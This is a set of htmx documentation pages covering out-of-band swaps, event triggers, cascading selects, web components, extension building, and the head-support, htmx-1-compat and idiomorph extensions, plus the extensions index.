    ...
  </tbody>
</table>
<h2>Add A Contact</h2>
<form hx-post="/contacts">
  <label>
    Name
        <input name="name" type="text">  
  </label>
  <label>
    Email
        <input name="email" type="email">  
  </label>
</form>
```

Instead of modifying something on the front end, in your response to the `POST` to `/contacts` you would include some additional content:

```html
<tbody hx-swap-oob="beforeend:#contacts-table">
  <tr>
    <td>Joe Smith</td>
    <td>joe@smith.com</td>
  </tr>
</tbody>

<label>
  Name
      <input name="name" type="text">
</label>
<label>
  Email
      <input name="email" type="email">
</label>
```

This content uses the [hx-swap-oob](@/attributes/hx-swap-oob.md) attribute to append itself to the `#contacts-table`, updating
the table after a contact is added successfully.

## Solution 3: Triggering Events {#events}

An even more sophisticated approach would be to trigger a client side event when a successful contact is created and
then listen for that event on the table, causing the table to refresh.

```html
<h2>Contacts</h2>
<table class="table">
  <thead>
    <tr>
      <th>Name</th>
      <th>Email</th>
      <th></th>
    </tr>
  </thead>
  <tbody id="contacts-table" hx-get="/contacts/table" hx-trigger="newContact from:body">
    ...
  </tbody>
</table>
<h2>Add A Contact</h2>
<form hx-post="/contacts">
  <label>
    Name
        <input name="name" type="text">  
  </label>
  <label>
    Email
        <input name="email" type="email">  
  </label>
</form>
```

We have added a new end-point `/contacts/table` that re-renders the contacts table.  Our trigger for this request
is a custom event, `newContact`.  We listen for this event on the `body` because when it
is triggered by the response to the form, it will end up hitting the body due to event bubbling.

When a successful contact creation occurs during a POST to `/contacts`, the response includes 
an [HX-Trigger](@/headers/hx-trigger.md) response header that looks like this:

```txt
HX-Trigger:newContact
```

This will trigger the table to issue a `GET` to `/contacts/table` and this will render the newly added contact row  
(in addition to the rest of the table.)

Very clean, event driven programming!

## Solution 4: Using the Path Dependencies Extension {#path-deps}

A final approach is to use REST-ful path dependencies to refresh the table.  Intercooler.js, the predecessor 
to htmx, had [path-based dependencies](https://intercoolerjs.org/docs.html#dependencies) integrated into the 
library.  
 
htmx dropped this as a core feature, but supports an extension, [path deps](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/path-deps/README.md), that gives you 
similar functionality.
 
Updating our example to use the extension would involve loading the extension javascript and then
annotating our HTML like so:
 
```html
<h2>Contacts</h2>
<table class="table">
  <thead>
    <tr>
      <th>Name</th>
      <th>Email</th>
      <th></th>
    </tr>
  </thead>
  <tbody id="contacts-table" hx-get="/contacts/table" hx-ext="path-deps"  hx-trigger="path-deps" path-deps="/contacts">
    ...
  </tbody>
</table>
<h2>Add A Contact</h2>
<form hx-post="/contacts">
  <label>
    Name
        <input name="name" type="text">  
  </label>
  <label>
    Email
        <input name="email" type="email">  
  </label>
</form>
```

Now, when the form posts to the `/contacts` URL, the `path-deps` extension will detect that and trigger an `path-deps`
event on the contacts table, therefore triggering a request.

The advantage here is that you don't need to do anything fancy with response headers.  The downside is that a request
will be issued on every `POST`, even if a contact was not successfully created.

## Which should I use?

Generally I would recommend the first approach, expanding your target, especially if the elements that need to be 
updated are reasonably close to one another in the DOM.  It is simple and reliable.

After that, I would say it is a tossup between the custom event and an OOB swap approaches.  I would lean towards the custom event
approach because I like event-oriented systems, but that's a personal preference.  Which one you choose should be dictated by your
own software engineering tastes and which of the two matches up better with your server side technology of choice.

Finally, the path-deps approach is interesting, and if it fits well with your mental model and overall system architecture,
it can be a fun way to avoid explicit refreshing.  I would look at it last, however, unless the concept really grabs
you.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/value-select.md

+++
title = "Cascading Selects"
template = "demo.html"
+++

In this example we show how to make the values in one `select` depend on the value selected in another `select`.

To begin we start with a default value for the `make` select: Audi.  We render the `model` select for this make.  We
then have the `make` select trigger a `GET` to `/models` to retrieve the models options and target the `models` select.

Here is the code:

```html
<div>
    <label >Make</label>
    <select name="make" hx-get="/models" hx-target="#models" hx-indicator=".htmx-indicator">
      <option value="audi">Audi</option>
      <option value="toyota">Toyota</option>
      <option value="bmw">BMW</option>
    </select>
  </div>
  <div>
    <label>Model</label>
    <select id="models" name="model">
      <option value="a1">A1</option>
      ...
    </select>
    <img class="htmx-indicator" width="20" src="/img/bars.svg" alt="Saving...">
</div>
```

When a request is made to the `/models` end point, we return the models for that make:

```html
<option value='325i'>325i</option>
<option value='325ix'>325ix</option>
<option value='X5'>X5</option> 
```

And they become available in the `model` select.

{{ demoenv() }}

<script>

    //=========================================================================
    // Fake Server Side Code
    //=========================================================================

    // routes
    init("/demo", function(request, params){
      return formTemplate();
    });
    
    onGet(/models.*/, function (request, params) {
        var make = dataStore.findMake(params['make']);
        return modelOptionsTemplate(make['models']);
    });
    
    // templates
    function formTemplate() {
      return `  <h3>Pick A Make/Model</h3>              
<form>
  <div>
    <label >Make</label>
    <select name="make" hx-get="/models" hx-target="#models" hx-indicator=".htmx-indicator">
      <option value="audi">Audi</option>
      <option value="toyota">Toyota</option>
      <option value="bmw">BMW</option>
    </select>
  </div>
  <div>
    <label>Model</label>
    <select id="models" name="model">
      <option value="a1">A1</option>
      <option value="a3">A3</option>
      <option value="a6">A6</option>
    </select>
    <img class="htmx-indicator" width="20" src="/img/bars.svg" alt="Saving...">    
  </div>
</form>`;
    }

    function modelOptionsTemplate(make) {
      return make.map(function(val) {
        return "<option value='" + val + "'>" + val +"</option>";
      }).join("\n");
    }

    var dataStore = function(){
      var data = {
        audi : { models : ["A1", "A4", "A6"] },
        toyota : { models : ["Landcruiser", "Tacoma", "Yaris"] },
        bmw : { models : ["325i", "325ix", "X5"] }
      };
      return {
        findMake : function(make) {
          return data[make];
        }
      }
    }()
</script>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/web-components.md

+++
title = "Web Components"
template = "demo.html"
+++

This example shows how to integrate HTMX with web components, allowing it to be used inside of shadow DOM.

By default, HTMX doesn't know anything about your web components, and won't see anything inside their shadow
DOM. Because of this, you'll need to manually tell HTMX about your component's shadow DOM by using 
[`htmx.process`](https://htmx.org/api/#process).

```js
customElements.define('my-component', class MyComponent extends HTMLElement {
  // This method runs when your custom element is added to the page
  connectedCallback() {
    const root = this.attachShadow({ mode: 'closed' })
    root.innerHTML = `
      <button hx-get="/my-component-clicked" hx-target="next div">Click me!</button>
      <div></div>
    `
    htmx.process(root) // Tell HTMX about this component's shadow DOM
  }
})
```

Once you've told HTMX about your component's shadow DOM, most things should work as expected. However, note
that selectors such as in `hx-target` will only see elements inside the same shadow DOM - if you need to
access things outside of your web components, you can use one of the following options:

- `host`: Selects the element hosting the current shadow DOM
- `global`: If used as a prefix, selects from the main document instead of the current shadow DOM

The same principles generally apply to web components that don't use shadow DOM as well; while selectors
won't be encapsulated like with shadow DOM, you'll still have to point HTMX to your component's content by
calling `htmx.process`.

{{ demoenv() }}

<script>
  //=========================================================================
  // Fake Server Side Code
  //=========================================================================

  // data
  let timesClicked = 0

  customElements.define('my-component', class MyComponent extends HTMLElement {
    // This method runs when your custom element is added to the page
    connectedCallback() {
      const root = this.attachShadow({ mode: 'closed' })
      root.innerHTML = `
        <button hx-get="/my-component-clicked" hx-target="next div">Click me!</button>
        <div></div>
      `
      htmx.process(root) // Tell HTMX about this component's shadow DOM
    }
  })

  // routes
  init('/demo', function() {
    return `<my-component></my-component>`
  })

  onGet('/my-component-clicked', function() {
    return `<p>Clicked ${++timesClicked} time${timesClicked > 1 ? 's' : ''}!</p>`
  })
</script>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/extensions/building.md

+++
title = "Building htmx Extensions"
+++

To define an extension you call the `htmx.defineExtension()` function:

```html
<script>
  htmx.defineExtension('my-ext', {
    onEvent : function(name, evt) {
        console.log("Fired event: " + name, evt);
    }
  })
</script>
```

Typically, this is done in a stand-alone javascript file, rather than in an inline `script` tag.

Extensions should have names that are dash separated and that are reasonably short and descriptive.

Extensions can override the following default extension points to add or change functionality:

```javascript
{
    init: function(api) {return null;},
    getSelectors: function() {return null;},
    onEvent : function(name, evt) {return true;},
    transformResponse : function(text, xhr, elt) {return text;},
    isInlineSwap : function(swapStyle) {return false;},
    handleSwap : function(swapStyle, target, fragment, settleInfo) {return false;},
    encodeParameters : function(xhr, parameters, elt) {return null;}
}
```

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/extensions/head-support.md

+++
title = "htmx Head Tag Support Extension"
+++

The `head-support` extension adds support for [head tags](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/head)
in responses to htmx requests.

htmx began as a library focused on _partial replacement_ of HTML within the `body` tag.  As such, merging additional
information such as the head tag was not a focus of the library.  (This is in contrast with, for example, TurboLinks,
which was focused on merging entire web pages retrieved via AJAX into the browser.)

The [`hx-boost`](@/attributes/hx-boost.md) attribute moved htmx closer to this world of full HTML-document support &
support for extracting the `title` tag out of head elements was eventually added, but full head tag support has never been
a feature of the library.  This extension addresses that shortcoming.

## Installing

The fastest way to install `head-support` is to load it via a CDN. Remember to always include the core htmx library before the extension and [enable the extension](#usage).
```HTML
<head>
    <script src="https://cdn.jsdelivr.net/npm/htmx.org@2.0.8/dist/htmx.min.js" integrity="sha384-/TgkGk7p307TH7EXJDuUlgG3Ce1UVolAOFopFekQkkXihi5u/6OCvVKyz1W+idaz" crossorigin="anonymous"></script>
    <script src="https://cdn.jsdelivr.net/npm/htmx-ext-head-support@2.0.5" integrity="sha384-cvMqHzjCJsOHgGuyB3sWXaUSv/Krm0BdzjuI1rtkjCbL1l1oHJx+cHyVRJhyuEz0" crossorigin="anonymous"></script>
</head>
<body hx-ext="head-support">
...
```
An unminified version is also available at https://cdn.jsdelivr.net/npm/htmx-ext-head-support/dist/head-support.js.

While the CDN approach is simple, you may want to consider [not using CDNs in production](https://blog.wesleyac.com/posts/why-not-javascript-cdn). The next easiest way to install `head-support` is to simply copy it into your project. Download the extension from `https://cdn.jsdelivr.net/npm/htmx-ext-head-support`, add it to the appropriate directory in your project and include it where necessary with a `<script>` tag.

For npm-style build systems, you can install `head-support` via [npm](https://www.npmjs.com/):
```shell
npm install htmx-ext-head-support
```
After installing, you'll need to use appropriate tooling to bundle `node_modules/htmx-ext-head-support/dist/head-support.js` (or `.min.js`). For example, you might bundle the extension with htmx core from `node_modules/htmx.org/dist/htmx.js` and project-specific code.

If you are using a bundler to manage your javascript (e.g. Webpack, Rollup):
- Install `htmx.org` and `htmx-ext-head-support` via npm
- Import both packages to your `index.js`
```JS
import `htmx.org`;
import `htmx-ext-head-support`; 
```

## Usage

```html
<body hx-ext="head-support">
...
</body>
```

With this installed, all responses that htmx receives that contain a `head` tag in them (even if they are not complete
HTML documents with a root `<html>` element) will be processed.

How the head tag is handled depends on the type of htmx request.

If the htmx request is from a boosted element, then the following merge algorithm is used:

* Elements that exist in the current head as exact textual matches will be left in place
* Elements that do not exist in the current head will be added at the end of the head tag
* Elements that exist in the current head, but not in the new head will be removed from the head

If the htmx request is from a non-boosted element, then all content will be _appended_ to the existing head element.

If you wish to override this behavior in either case, you can place the `hx-head` attribute on the new `<head>` tag,
with either of the following two values:

* `merge` - follow the merging algorithm outlined above
* `append` - append the elements to the existing head

### Controlling Merge Behavior

Beyond this, you may also control merging behavior of individual elements with the following attributes:

* If you place `hx-head="re-eval"` on a head element, it will be re-added (removed and appended) to the head tag on every
request, even if it already exists.  This can be useful to execute a script on every htmx request, for example.
* If you place `hx-preserve="true"` on an element, it will never be removed from the head

### Example

As an example, consider the following head tag in an existing document:

```html
<head>
<link rel="stylesheet" href="https://the.missing.style">
<link rel="stylesheet" href="/css/site1.css">
<script src="/js/script1.js"></script>
<script src="/js/script2.js"></script>
</head>
```

If htmx receives a request containing this new head tag:

```html
<head>
<link rel="stylesheet" href="https://the.missing.style">
<link rel="stylesheet" href="/css/site2.css">
<script src="/js/script2.js"></script>
<script src="/js/script3.js"></script>
</head>
```

Then the following operations will occur:

* `<link rel="stylesheet" href="https://the.missing.style">` will be left alone
* `<link rel="stylesheet" href="/css/site1.css">` will be removed from the head
* `<link rel="stylesheet" href="/css/site2.css">` will be added to the head
* `<script src="/js/script1.js"></script>` will be removed from the head
* `<script src="/js/script2.js"></script>` will be left alone
* `<script src="/js/script3.js"></script>` will be added to the head

The final head element will look like this:

```html
<head>
<link rel="stylesheet" href="https://the.missing.style">
<script src="/js/script2.js"></script>
<link rel="stylesheet" href="/css/site2.css">
<script src="/js/script3.js"></script>
</head>
```

## Events

This extension triggers the following events:

* `htmx:removingHeadElement` - triggered when a head element is about to be removed, with the element being removed
available in `event.detail.headElement`.  If `preventDefault()` is invoked on the event, the element will not be removed.
* `htmx:addingHeadElement` - triggered when a head element is about to be added, with the element being added
available in `event.detail.headElement`.  If `preventDefault()` is invoked on the event, the element will not be added.
* `htmx:afterHeadMerge` - triggered after a head tag merge has occurred, with the following values available in the event `detail`:
* `added` - added head elements
* `kept` -  kept head elements
* `removed` -  removed head elements
* `htmx:beforeHeadMerge` - triggered before a head merge occurs

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/extensions/htmx-1-compat.md

+++
title = "htmx 1.x Compatibility Extension"
+++

The `htmx-1-compat` extension allows you to almost seamlessly upgrade from htmx 1.x to htmx 2.

## Installing

The fastest way to install `htmx-1-compat` is to load it via a CDN. Remember to always include the core htmx library before the extension and enable the extension.
```HTML
<head>
    <script src="https://cdn.jsdelivr.net/npm/htmx.org@2.0.8/dist/htmx.min.js" integrity="sha384-/TgkGk7p307TH7EXJDuUlgG3Ce1UVolAOFopFekQkkXihi5u/6OCvVKyz1W+idaz" crossorigin="anonymous"></script>
    <script src="https://cdn.jsdelivr.net/npm/htmx-ext-htmx-1-compat@2.0.2" integrity="sha384-lcvVWaNjF5zPPUeeWmC0OkJ2MLqoWLlkAabuGm+EuMSTfGo5WRyHrNaAp0cJr9Pg" crossorigin="anonymous"></script>
</head>
<body hx-ext="htmx-1-compat">
...
```
An unminified version is also available at https://cdn.jsdelivr.net/npm/htmx-ext-htmx-1-compat/dist/htmx-1-compat.js.

While the CDN approach is simple, you may want to consider [not using CDNs in production](https://blog.wesleyac.com/posts/why-not-javascript-cdn). The next easiest way to install `htmx-1-compat` is to simply copy it into your project. Download the extension from `https://cdn.jsdelivr.net/npm/htmx-ext-htmx-1-compat`, add it to the appropriate directory in your project and include it where necessary with a `<script>` tag.

For npm-style build systems, you can install `htmx-1-compat` via [npm](https://www.npmjs.com/):
```shell
npm install htmx-ext-htmx-1-compat
```
After installing, you'll need to use appropriate tooling to bundle `node_modules/htmx-ext-htmx-1-compat/dist/htmx-1-compat.js` (or `.min.js`). For example, you might bundle the extension with htmx core from `node_modules/htmx.org/dist/htmx.js` and project-specific code.

If you are using a bundler to manage your javascript (e.g. Webpack, Rollup):
- Install `htmx.org` and `htmx-ext-htmx-1-compat` via npm
- Import both packages to your `index.js`
```JS
import `htmx.org`;
import `htmx-ext-htmx-1-compat`; 
```

## What it covers

Htmx 2 introduced a few [breaking changes](https://v2-0v2-0.htmx.org/migration-guide-htmx-1/).

To make upgrading from htmx 1.x to htmx 2 easier, we're providing this extension that reverts most of those, so you're
able to benefit from the other changes without breaking your application.

### Obsolete attributes

- htmx 2 removed the deprecated [hx-ws](https://htmx.org/attributes/hx-ws/)
  and [hx-sse](https://htmx.org/attributes/hx-sse/) attributes, that this extension restores.
- htmx 2 removed the deprecated `hx-on` attribute in favor of the
  wildcard [`hx-on*` attribute](https://htmx.org/attributes/hx-on/), that this extension restores.

### Default Changes

- reverts [htmx.config.scrollBehavior](https://htmx.org/reference/#config) to 'smooth'.
- makes `DELETE` requests use a form-encoded body rather than URL parameters (htmx 2 uses URL parameters for `DELETE` as
  default as per [the spec](https://www.rfc-editor.org/rfc/rfc9110.html#name-delete)).
- allows cross-domain requests by default (htmx 2 now forbids it by default).

## What it does not cover

- IE11 support was dropped in htmx 2, and this extension cannot revert that. If you need IE11 support, please stay with
  htmx 1 that will continue being supported.
- htmx 2 introduced the breaking change that is the [swap method](https://v2-0v2-0.htmx.org/api/#swap) to the extensions
  API. If you were only using core extensions, then you shouldn't need any additional work. If you were using custom or
  community extensions, make sure that they were updated to work with htmx 2's API.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/extensions/idiomorph.md

+++
title = "htmx Idiomorph Extension"
+++

[Idiomorph](https://github.com/bigskysoftware/idiomorph) is a DOM morphing algorithm created by the htmx creator. DOM
morphing is a process where an existing DOM tree is "morphed" into the shape of another in a way that resuses as much of
the existing DOM's nodes as possible. By preserving nodes when changing from one tree to another you can present a
much smoother transition between the two states.

You can use the idiomorph morphing algorithm as a [swapping](@attributes/hx-swap) strategy by including the idiomorph
extension.

## Installing

The fastest way to install `idiomorph` is to load it via a CDN. Remember to always include the core htmx library before the extension and [enable the extension](#usage).

```HTML
<head>
    <script src="https://cdn.jsdelivr.net/npm/htmx.org@2.0.8/dist/htmx.min.js@2.0.7" integrity="sha384-/TgkGk7p307TH7EXJDuUlgG3Ce1UVolAOFopFekQkkXihi5u/6OCvVKyz1W+idaz" crossorigin="anonymous"></script>
    <script src="https://unpkg.com/idiomorph@0.7.4/dist/idiomorph-ext.min.js" integrity="sha384-SsScJKzATF/w6suEEdLbgYGsYFLzeKfOA6PY+/C5ZPxOSuA+ARquqtz/BZz9JWU8" crossorigin="anonymous"></script>
</head>
<body hx-ext="morph">
```

Unminified versions are also available at:
<https://unpkg.com/idiomorph/dist/idiomorph-ext.js>

While the CDN approach is simple, you may want to consider [not using CDNs in production](https://blog.wesleyac.com/posts/why-not-javascript-cdn). The next easiest way to install `idiomorph` is to simply copy it into your project. Download idiomorph with htmx extension from `https://unpkg.com/idiomorph/dist/idiomorph-ext.min.js`, add them to the appropriate directory in your project and include them where necessary with `<script>` tags.

For npm-style build systems, you can install `idiomorph` via [npm](https://www.npmjs.com/):

```shell
npm install idiomorph
```

After installing, you'll need to use appropriate tooling to bundle `node_modules/idiomorph/dist/idiomorph-ext.js` (or `node_modules/idiomorph/dist/idiomorph-ext.min.js`). For example, you might bundle the extension with htmx core from `node_modules/htmx.org/dist/htmx.js` and project-specific code.

If you are using a bundler to manage your javascript (e.g. Webpack, Rollup):

- Install `htmx.org` and `idiomorph` via npm
- Import both packages to your `index.js`

```JS
import `htmx.org`;
import `idiomorph/htmx`;
```

## Usage

Once you have referenced the idiomorph extension, you can register it with the name `morph` on the body and then begin
using `morph`, `morph:outerHTML` or `morph:innerHTML` as swap strategies.

- `morph` & `morph:outerHTML` will morph the target element as well as it's children
- `morph:innerHTML` will morph only the inner children of an element, leaving the target untouched

```html
<body hx-ext="morph">
  <button hx-get="/example" hx-swap="morph">
    Morph My Outer HTML
  </button>

  <button hx-get="/example" hx-swap="morph:outerHTML">
    Morph My Outer HTML
  </button>

  <button hx-get="/example" hx-swap="morph:innerHTML">
    Morph My Inner HTML
  </button>
</body>
```

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/extensions/_index.md

+++
title = "Extensions"
+++

htmx supports extensions to augment the core hypermedia infrastructure it provides.  The extension mechanism takes
pressure off the core library to add new features, allowing it to focus on its main purpose of 
[generalizing hypermedia controls](https://dl.acm.org/doi/10.1145/3648188.3675127).

If you are interested in creating an extension for htmx, please see [Building htmx Extensions](/extensions/building).

htmx extensions are split into two categories:

* [core extensions](#core-extensions) - supported by the htmx team
* [community extensions](#community-extensions) - supported by the broader community

## Core Extensions

| Name                                             | Description                                                                                                                                                                                |
|--------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| [head-support](/extensions/head-support)         | Provides support for merging head tag information (styles, etc.) in htmx requests                                                                                                          |
| [htmx-1-compat](/extensions/htmx-1-compat)       | Rolls back most of the behavioral changes of htmx 2 to the htmx 1 defaults.                                                                                                                |
| [idiomorph](/extensions/idiomorph)               | Provides a `morph` swap strategy based on the [idiomorph](https://github.com/bigskysoftware/idiomorph/) morphing library, which was created by the htmx team.                              |
| [preload](/extensions/preload)                   | This extension allows you to load HTML fragments into your browser's cache before they are requested by the user, so that additional pages appear to users to load nearly instantaneously. |
| [response-targets](/extensions/response-targets) | This extension allows you to specify different target elements to be swapped when different HTTP response codes are received.                                                              |
| [sse](/extensions/sse)                           | Provides support for [Server Sent Events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events) directly from HTML.                                |
| [ws](/extensions/ws)                             | Provides bi-directional communication with [Web Sockets](https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API/Writing_WebSocket_client_applications) servers directly from HTML |

## Community Extensions

<search aria-label="Community extensions">
  <label for="extension-filter" hidden>Search Extensions:</label>
  <input type="search" id="extension-filter" placeholder="Search Extensions..."
       _="init
            set :table to the next <table/>
            set :initialHeight to *computed-height of :table
          on keyup
            if the event's key is 'Escape' then set my value to '' then trigger input end
          on input
            repeat in closest <tr/> to <td:first-of-type/> in :table
              if its textContent.toLowerCase() contains my value.toLowerCase()
                remove @hidden from it
              else
                add @hidden='' to it
              end
            end
            -- hide section header when its section is empty
            show closest <tr/> to <tbody th/> in :table
                 when (the next <tr:not([hidden])/> from it within the closest <tbody/> to it) exists
            -- avoid shift by keeping page size constant
            set *margin-bottom of :table to
                `calc(${:initialHeight} - ${*computed-height of :table})`">
</search>
<table>
  <thead>
    <tr>
      <th>Name</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>{% markdown() %}  [ajax-header](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/ajax-header/README.md)  {% end %}</td>
      <td>{% markdown() %}  Adds an `X-Requested-With` header to all requests made by htmx  {% end %}</td>
    </tr>
    <tr>
      <td>{% markdown() %}  [alpine-morph](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/alpine-morph/README.md)  {% end %}</td>
      <td>{% markdown() %}  Alpine.js now has a lightweight [morph plugin](https://alpinejs.dev/plugins/morph) and this extension allows you to use it as the swapping mechanism in htmx which is necessary to retain Alpine state when you have entire Alpine components swapped by htmx.  {% end %}</td>
    </tr>
    <tr>
      <td>{% markdown() %}  [attribute-tools](https://github.com/jamcole/htmx-ext-attribute-tools/blob/main/README.md)  {% end %}</td>
      <td>{% markdown() %}  The `attribute-tools` extension allows you to specify attributes that will be swapped onto or off of the elements by using an `attributes` or `data-attributes` attribute. (similar to class-tools)  {% end %}</td>
    </tr>
    <tr>
      <td>{% markdown() %}  [class-tools](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/class-tools/README.md)  {% end %}</td>
      <td>{% markdown() %}  The `class-tools` extension allows you to specify CSS classes that will be swapped onto or off of the elements by using a `classes` or `data-classes` attribute.  {% end %}</td>
    </tr>
    <tr>
      <td>{% markdown() %}  [debug](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/debug/README.md)  {% end %}</td>
      <td>{% markdown() %}  This extension will log all htmx events for the element it is on through the `console.debug` function. Note that during dev, using `htmx.logAll()` instead can often be sufficient.  {% end %}</td>
    </tr>
    <tr>
      <td>{% markdown() %}  [event-header](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/event-header/README.md)  {% end %}</td>
      <td>{% markdown() %}  This extension adds the `Triggering-Event` header to requests. The value of the header is a JSON serialized version of the event that triggered the request.  {% end %}</td>
    </tr>
    <tr>
      <td>{% markdown() %}  [loading-states](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/loading-states/README.md)  {% end %}</td>
      <td>{% markdown() %}  This extension allows you to easily manage loading states while a request is in flight, including disabling elements, and adding and removing CSS classes.  {% end %}</td>
    </tr>
    <tr>
      <td>{% markdown() %}  [morphdom-swap](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/morphdom-swap/README.md)  {% end %}</td>
      <td>{% markdown() %}  Provides a `morph` swap strategy based on the [morphdom](https://github.com/patrick-steele-idem/morphdom/) morphing library.  {% end %}</td>
    </tr>
    <tr>
      <td>{% markdown() %}  [multi-swap](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/multi-swap/README.md)  {% end %}</td>
      <td>{% markdown() %}  This extension allows you to swap multiple elements marked from the HTML response. You can also choose for each element which swap method should be used.  {% end %}</td>
    </tr>
    <tr>
      <td>{% markdown() %}  [no-cache](https://github.com/craigharman/htmx-ext-no-cache/blob/master/README.md)  {% end %}</td>
      <td>{% markdown() %}  This extension forces HTMX to bypass client caches and make a new request. An `hx-no-cache` header is also added to allow server-side caching to be bypassed.  {% end %}</td>
    </tr>
    <tr>
      <td>{% markdown() %}  [path-deps](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/path-deps/README.md)  {% end %}</td>
      <td>{% markdown() %}  This extension supports expressing inter-element dependencies based on paths, inspired by the [intercooler.js dependencies mechanism](http://intercoolerjs.org/docs.html#dependencies).  {% end %}</td>
    </tr>
    <tr>
      <td>{% markdown() %}  [path-params](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/path-params/README.md)  {% end %}</td>
      <td>{% markdown() %}  This extension uses request parameters to populate path variables. Used parameters are removed so they won't be sent in the query string or body anymore.  {% end %}</td>
    </tr>
    <tr>
      <td>{% markdown() %}  [remove-me](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/remove-me/README.md)  {% end %}</td>
      <td>{% markdown() %}  Allows you to remove an element after a specified interval.  {% end %}</td>
    </tr>
    <tr>
      <td>{% markdown() %}  [replace-params](https://github.com/fanelfaa/htmx-ext-replace-params/blob/main/README.md)  {% end %}</td>
      <td>{% markdown() %}  This extension uses request parameters to replace existing parameters. If given value is empty string then parameter will be deleted. This extension would be useful in situations like pagination, search that you only want to replace only few parameters instead of reset all parameters.  {% end %}</td>
    </tr>
    <tr>
      <td>{% markdown() %}  [restored](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/restored/README.md)  {% end %}</td>
      <td>{% markdown() %}  Triggers an event whenever a back button event is detected while using `hx-boost`  {% end %}</td>
    </tr>
    <tr>
      <td>{% markdown() %}  [safe-nonce](https://github.com/MichaelWest22/htmx-extensions/blob/main/src/safe-nonce/README.md)  {% end %}</td>
      <td>{% markdown() %}  The `safe-nonce` extension can be used to improve the security of the application/web-site and help avoid XSS issues by allowing you to return known trusted inline scripts safely  {% end %}</td>
    </tr>
    <tr>
      <td>{% markdown() %}  [hx-drag](https://www.npmjs.com/package/hx-drag)  {% end %}</td>
      <td>{% markdown() %}  This extension allows htmx requests to be sent for drag drop  {% end %}</td>
    </tr>
    <tr>
      <td>{% markdown() %}  [dynamic-url](https://github.com/FumingPower3925/htmx-dynamic-url/blob/main/README.md)  {% end %}</td>
      <td>{% markdown() %}  Allows dynamic URL path templating using `{varName}` placeholders, resolved via configurable custom function or `window.` fallback. It does not rely on `hx-vals`. Useful when needing to perform requests to paths that depend on application state.  {% end %}</td>
    </tr>
    <tr>
      <td>{% markdown() %}  [optimistic]([https://github.com/FumingPower3925/htmx-dynamic-url](https://github.com/lorenseanstewart/hx-optimistic/blob/main/README.md)  {% end %}</td>
      <td>{% markdown() %}  This extension provides a way to optimistically update the UI to increase perceived performance  {% end %}</td>
    </tr>
  </tbody>
  <tbody>
    <tr><th scope="rowgroup" colspan="2">Data API</th></tr>
    <tr>
      <td>{% markdown() %}  [client-side-templates](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/client-side-templates/README.md)  {% end %}</td>
      <td>{% markdown() %}  This extension supports transforming a JSON/XML request response into HTML via a client-side template before it is swapped into the DOM.  {% end %}</td>
    </tr>
    <tr>
      <td>{% markdown() %}  [json-enc](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/json-enc/README.md)  {% end %}</td>
      <td>{% markdown() %}  This extension encodes parameters in JSON format instead of url format.  {% end %}</td>
    </tr>
    <tr>
      <td>{% markdown() %}  [form-json](https://github.com/xehrad/form-json/blob/main/README.md)  {% end %}</td>
      <td>{% markdown() %}  Similar to `json-enc`, but with **type preservation**. Converts form data into structured JSON while maintaining correct types for numbers, booleans, and files (Base64-encoded). Supports nested structures using dot (`.`) or bracket (`[]`) notation.  {% end %}</td>
    </tr>
    <tr>
      <td>{% markdown() %}  [json-enc-custom](https://github.com/Emtyloc/json-enc-custom/blob/main/README.md)  {% end %}</td>
      <td>{% markdown() %}  This extension works similarly to json-enc but allows for very complex structures, such as embedding JSON objects, lists, or handling indexes, just by using the name attribute.  {% end %}</td>
    </tr>
    <tr>
      <td>{% markdown() %}  [htmx-json](https://github.com/mariusGundersen/htmx-json)  {% end %}</td>
      <td>{% markdown() %}  Support JSON response by transforming the html directly. This is a slightly different approach than client-side-templates.  {% end %}</td>
    </tr>
  </tbody>
  <tbody>
    <tr><th scope="rowgroup" colspan="2">Integrations</th></tr>
    <tr>
      <td>{% markdown() %}  [amz-content-sha256](https://github.com/felipegenef/amz-content-sha256/blob/main/README.md)  {% end %}</td>
      <td>{% markdown() %}  HTMX extension for interacting with AWS services that require the content hash as part of the request for data integrity verification. {% end %}</td>
    </tr>
    <tr>
      <td>{% markdown() %}  [signalr](https://github.com/Renerick/htmx-signalr/blob/master/README.md)  {% end %}</td>
      <td>{% markdown() %}  Provides bidirectional real-time communication via [SignalR](https://github.com/dotnet/AspNetCore/tree/main/src/SignalR).  {% end %}</td>
    </tr>
  </tbody>
  <tbody>
    <tr><th scope="rowgroup" colspan="2">Legacy</th></tr>
    <tr>
      <td>{% markdown() %}  [disable-element](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/disable-element/README.md)  {% end %}</td>
      <td>{% markdown() %}  This extension disables an element during an htmx request, when configured on the element triggering the request. Note that this functionality is now part of the core of htmx via the `hx-disabled-elt` attribute.  {% end %}</td>
    </tr>
    <tr>
      <td>{% markdown() %}  [include-vals](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/include-vals/README.md)  {% end %}</td>
      <td>{% markdown() %}  The `include-vals` extension allows you to programmatically include values in a request with a `include-vals` attribute. Note that this functionality is now part of the core of htmx via the `hx-vals` attribute.  {% end %}</td>
    </tr>
  </tbody>
</table>

---

